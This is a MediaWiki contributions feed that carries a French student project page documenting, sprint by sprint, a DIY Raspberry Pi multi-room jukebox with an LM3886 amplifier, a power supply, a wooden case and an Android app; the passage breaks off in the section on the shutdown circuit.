<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jherin12</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jherin12"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Jherin12"/>
		<updated>2026-05-13T20:53:30Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27784</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27784"/>
				<updated>2016-02-24T09:13:03Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Sources et documents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Partie Hardware====&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par le pont de Graetz, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal élevé et lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffi de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Circuit ON/OFF=====&lt;br /&gt;
&lt;br /&gt;
La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre.&amp;lt;br&amp;gt;&lt;br /&gt;
En effet, l'extinction &amp;quot;brutale&amp;quot; pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées !&amp;lt;br&amp;gt;&lt;br /&gt;
Pour &amp;quot;extinction brutale&amp;quot;, comprenez&lt;br /&gt;
* Débranchement de la prise d'alimentation principale par l'utilisateur&lt;br /&gt;
* Coupure de courant&lt;br /&gt;
&lt;br /&gt;
Nous avons donc pensé à un circuit à base de condensateurs et de relais :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_Schematics_2.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
